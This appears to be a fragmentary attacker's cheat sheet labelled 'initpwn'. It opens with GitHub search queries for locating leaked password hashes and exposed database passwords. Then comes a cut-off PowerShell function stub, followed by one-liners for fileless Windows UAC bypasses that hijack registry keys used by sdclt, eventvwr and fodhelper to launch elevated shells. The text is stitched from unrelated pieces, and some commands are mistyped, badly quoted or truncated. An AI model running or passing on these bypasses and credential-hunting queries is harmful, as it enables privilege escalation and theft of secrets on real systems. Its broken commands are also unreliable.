initpwn

#md5 hash of most used password 123456
#ref: https://twitter.com/TekDefense/status/294556153151647744
https://github.com/search?q=e10adc3949ba59abbe56e057f20f883e&type=Code&ref=searchresults

#DB_PASSWORD
#ref: http://seclists.org/fulldisclosure/2014/Mar/343
https://github.com/search?q=define%28%22DB_PASSWORD%22&type=Code&ref=searchresults

#Possible SQL injection
#ref: http://seclists.org/fulldisclosure/2013/Jun/15

initpwn

Function Check-Spelling()
{
[CmdletBinding()]
Param(
        [Parameter(Mandatory=$True,Position=0,ValueFromPipeline=$True)]
		[String] $String,
		[Switch] $ShowErrors,
		[Switch] $RemoveSpecialChars
)
Process{

initpwn

#sdclt fileless UAC bypass
regg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f
#eventvwr fileless UAC bypass
%windir%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe $executablepath = "Start-Process -FilePath 'cmd.exe'";$cmd = 'Start-Process -FilePath {0} -ArgumentList "/c reg add "HKCU\Software\Classes\mscfile\shell\open\command" /f /d "{0} /c %windir%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX $executablepath;IEX $cmd) "' -f $env:comspec;
#fodhelper fileless UAC bypass
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Value "cmd /c start powershell.exe" -Force;New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force;Start-Process "C:\Windows\System32\fodhelper.exe";Remove-Item "HKCU:\Software\Classes\ms-settings\